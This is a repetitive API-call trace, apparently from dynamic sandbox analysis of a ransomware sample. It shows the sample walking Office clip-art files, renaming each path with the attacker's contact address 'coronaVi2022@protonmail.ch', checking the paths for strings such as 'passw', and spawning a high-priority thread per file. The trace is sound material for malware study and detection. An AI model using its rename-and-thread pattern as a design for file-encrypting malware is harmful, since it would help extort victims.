	[0093.949] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif") returned 184
	[0093.950] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.952] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", _SubStr="wasse") returned 0x0
	[0093.953] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", _SubStr="passw") returned 0x0
	[0093.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xadc
	[0093.953] SetThreadPriority (hThread=0xadc, nPriority=15) returned 1
	[0093.957] malloc (_Size=0x1000) returned 0x51f5098
	[0093.960] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif") returned 184
	[0093.960] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.960] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", _SubStr="wasse") returned 0x0
	[0093.960] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", _SubStr="passw") returned 0x0
	[0093.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae0
	[0093.960] SetThreadPriority (hThread=0xae0, nPriority=15) returned 1
	[0093.965] malloc (_Size=0x1000) returned 0x51f3088
	[0093.969] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif") returned 184
	[0093.969] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.969] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", _SubStr="wasse") returned 0x0
	[0093.969] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", _SubStr="passw") returned 0x0
	[0093.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae4
	[0093.969] SetThreadPriority (hThread=0xae4, nPriority=15) returned 1
	[0093.973] malloc (_Size=0x1000) returned 0x51f4090
	[0093.976] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif") returned 184
	[0093.976] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.976] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", _SubStr="wasse") returned 0x0
	[0093.976] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", _SubStr="passw") returned 0x0
	[0093.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae8
	[0093.976] SetThreadPriority (hThread=0xae8, nPriority=15) returned 1
	[0093.978] malloc (_Size=0x1000) returned 0x51f3088
	[0093.980] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif") returned 184
	[0093.980] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.980] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", _SubStr="wasse") returned 0x0
	[0093.980] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", _SubStr="passw") returned 0x0
	[0093.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf0
	[0093.983] SetThreadPriority (hThread=0xaf0, nPriority=15) returned 1
	[0093.992] malloc (_Size=0x1000) returned 0x51f5098
	[0093.992] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif") returned 184
	[0093.992] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.992] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", _SubStr="wasse") returned 0x0
	[0093.992] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", _SubStr="passw") returned 0x0
	[0093.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf4
	[0093.992] SetThreadPriority (hThread=0xaf4, nPriority=15) returned 1
	[0093.998] malloc (_Size=0x1000) returned 0x51f0070
	[0094.000] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif") returned 184
	[0094.000] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.000] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", _SubStr="wasse") returned 0x0
	[0094.000] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", _SubStr="passw") returned 0x0
	[0094.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf8
	[0094.001] SetThreadPriority (hThread=0xaf8, nPriority=15) returned 1
	[0094.006] malloc (_Size=0x1000) returned 0x51f80b0
	[0094.006] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif") returned 184
	[0094.009] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.009] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", _SubStr="wasse") returned 0x0
	[0094.009] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", _SubStr="passw") returned 0x0
	[0094.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f80b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaec
	[0094.009] SetThreadPriority (hThread=0xaec, nPriority=15) returned 1
	[0094.016] malloc (_Size=0x1000) returned 0x51f0070
	[0094.016] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif") returned 184
	[0094.016] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.016] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", _SubStr="wasse") returned 0x0
	[0094.016] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", _SubStr="passw") returned 0x0
	[0094.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xafc
	[0094.017] SetThreadPriority (hThread=0xafc, nPriority=15) returned 1
	[0094.024] malloc (_Size=0x1000) returned 0x51f5098
	[0094.024] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif") returned 184
	[0094.024] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.024] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", _SubStr="wasse") returned 0x0
	[0094.024] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", _SubStr="passw") returned 0x0
	[0094.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb00
	[0094.024] SetThreadPriority (hThread=0xb00, nPriority=15) returned 1
	[0094.031] malloc (_Size=0x1000) returned 0x51f60a0
	[0094.031] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif") returned 184
	[0094.031] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.031] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", _SubStr="wasse") returned 0x0
	[0094.031] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", _SubStr="passw") returned 0x0
	[0094.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f60a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb08
	[0094.036] SetThreadPriority (hThread=0xb08, nPriority=15) returned 1
	[0094.046] malloc (_Size=0x1000) returned 0x51f0070
	[0094.046] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif") returned 184
	[0094.046] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.047] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", _SubStr="wasse") returned 0x0
	[0094.047] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", _SubStr="passw") returned 0x0
	[0094.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb0c
	[0094.047] SetThreadPriority (hThread=0xb0c, nPriority=15) returned 1
	[0094.051] malloc (_Size=0x1000) returned 0x51f4090
	[0094.052] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif") returned 184
	[0094.054] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.056] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", _SubStr="wasse") returned 0x0
	[0094.056] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", _SubStr="passw") returned 0x0
	[0094.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb10
	[0094.056] SetThreadPriority (hThread=0xb10, nPriority=15) returned 1
	[0094.106] malloc (_Size=0x1000) returned 0x51f3088
	[0094.106] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif") returned 184
	[0094.106] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.106] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", _SubStr="wasse") returned 0x0
	[0094.106] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", _SubStr="passw") returned 0x0
	[0094.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb04
	[0094.144] SetThreadPriority (hThread=0xb04, nPriority=15) returned 1
	[0094.147] malloc (_Size=0x1000) returned 0x51f4090
	[0094.148] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif") returned 184
	[0094.151] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.151] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", _SubStr="wasse") returned 0x0
	[0094.151] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", _SubStr="passw") returned 0x0
	[0094.152] SetThreadPriority (hThread=0xb14, nPriority=15) returned 1
	[0094.155] malloc (_Size=0x1000) returned 0x51f0070
	[0094.156] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif") returned 184
	[0094.160] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.161] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", _SubStr="wasse") returned 0x0
	[0094.161] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", _SubStr="passw") returned 0x0
	[0094.161] SetThreadPriority (hThread=0xb18, nPriority=15) returned 1
	[0094.164] malloc (_Size=0x1000) returned 0x51f3088
	[0094.173] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif") returned 184
	[0094.173] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.173] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", _SubStr="wasse") returned 0x0
	[0094.173] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", _SubStr="passw") returned 0x0
	[0094.173] SetThreadPriority (hThread=0xb1c, nPriority=15) returned 1
	[0094.180] malloc (_Size=0x1000) returned 0x51f4090
	[0094.182] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif") returned 184
	[0094.182] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.182] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", _SubStr="wasse") returned 0x0
	[0094.182] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", _SubStr="passw") returned 0x0
	[0094.183] SetThreadPriority (hThread=0xb20, nPriority=15) returned 1
	[0094.185] malloc (_Size=0x1000) returned 0x51f0070
	[0094.189] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif") returned 184
	[0094.189] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.189] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", _SubStr="wasse") returned 0x0
	[0094.190] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", _SubStr="passw") returned 0x0
	[0094.253] SetThreadPriority (hThread=0xb24, nPriority=15) returned 1
	[0094.264] malloc (_Size=0x1000) returned 0x51f60a0
	[0094.264] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif") returned 184
	[0094.265] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.265] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", _SubStr="wasse") returned 0x0
	[0094.265] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", _SubStr="passw") returned 0x0
	[0094.265] SetThreadPriority (hThread=0xb28, nPriority=15) returned 1
	[0094.267] malloc (_Size=0x1000) returned 0x51f0070
	[0094.274] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif") returned 213
